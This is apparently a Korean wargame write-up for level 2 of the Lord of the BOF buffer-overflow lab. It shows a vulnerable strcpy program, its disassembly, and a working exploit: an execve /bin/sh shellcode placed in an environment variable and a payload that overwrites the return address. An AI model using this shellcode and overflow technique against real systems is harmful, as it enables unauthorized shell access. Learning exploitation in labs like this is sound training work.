-
lvl 02 gremlin -> coboltWargame/HackerSchool The Load of the BOF Redhat 2019. 1. 13. 21:36
→ 소스코드는 아래와 같다.
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - cobolt
4 - small buffer
5 */
6
7 int main(int argc, char *argv[])
8 {
9 char buffer[16];
10 if(argc < 2){
11 printf("argv error\n");
12 exit(0);
13 }
14 strcpy(buffer, argv[1]);
15 printf("%s\n", buffer);
16 }
→ 어셈블리 코드는 아래와 같다.
0x8048430
0x8048431
0x8048433
0x8048436
0x804843a
0x804843c
0x8048441
0x8048446
0x8048449
0x804844b
0x8048450
0x8048453
0x8048456
0x8048459
0x804845b
0x804845c
0x804845f
0x8048460
0x8048465
0x8048468
0x804846b
0x804846c
0x8048471
0x8048476
0x8048479
0x804847a
<main>
<main+1>
<main+3>
<main+6>
<main+10>
<main+12>
<main+17>
<main+22>
<main+25>
<main+27>
<main+32>
<main+35>
<main+38>
<main+41>
<main+43>
<main+44>
<main+47>
<main+48>
<main+53>
<main+56>
<main+59>
<main+60>
<main+65>
<main+70>
<main+73>
<main+74>
push %ebp
mov %ebp,%esp
sub %esp,16
cmp DWORD PTR [%ebp+8],1
jg 0x8048453 <main+35>
push 0x80484d0
call 0x8048350 <printf>
add %esp,4
push 0
call 0x8048360 <exit>
add %esp,4
mov %eax,DWORD PTR [%ebp+12]
add %eax,4
mov %edx,DWORD PTR [%eax]
push %edx
lea %eax,[%ebp-16]
push %eax
call 0x8048370 <strcpy>
add %esp,8
lea %eax,[%ebp-16]
push %eax
push 0x80484dc
call 0x8048350 <printf>
add %esp,8
leave
ret
→ 1번 문제와 다른점은 버퍼의 크기이다. 따라서 스택의 구조는 아래와 같다.
→ RET에 도달하기 위한 바이트 사이즈를 구하면 BUFFER(16바이트)+SFP(4바이트) 총 20바이트이다. 쉘 코드를 사입하기엔 버퍼의 크기가 작으므로 환경변수에 쉘 코드를 삽입한 후 쉘코드가 저장된 환경 변수의 주소를 구해 실행한다. 먼저, 다음과 같이 환경 변수에 쉘 코드를 저장한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
→ 이제 저장한 환경 변수의 주소 값을 알아야 한다. 환경 변수 중 SHELLCODE 변수의 주소를 알아내기 위해 다음과 같은 코드를 변조하여 컴파일한다.
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
// printf("%s\n", buffer);
printf("0x%x\n",getenv("SHELLCODE"));
}
→ 쉘 코드가 담긴 환경 변수 주소 값을 구했으므로, 다음과 같은 공격 페이로드를 구성할 수 있다. RET 에는 앞서 알아낸 환경 변수 주소 값을 대입한다.
→ 반환 주소를 쉘 코드가 담긴 환경 변수의 주소 값을 넣어서, 해당 주소에 담긴 쉘 코드가 실행된다.
→ 구성한 페이로드를 바탕으로 아래와 같이 공격을 시도한다.
./cobolt $(python -c 'print "\x90"*20 + "\xd1\xfe\xff\xbf"')
→ 실행 결과는 아래와 같다.
'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글
lvl 06 wolfman -> darkelf (0) 2019.03.11 lvl 05 orc -> wolfman (0) 2019.03.11 lvl 04 goblin -> orc (0) 2019.03.08 lvl 03 cobolt -> goblin (0) 2019.01.22 lvl 01 gate -> gremlin (0) 2019.01.10 댓글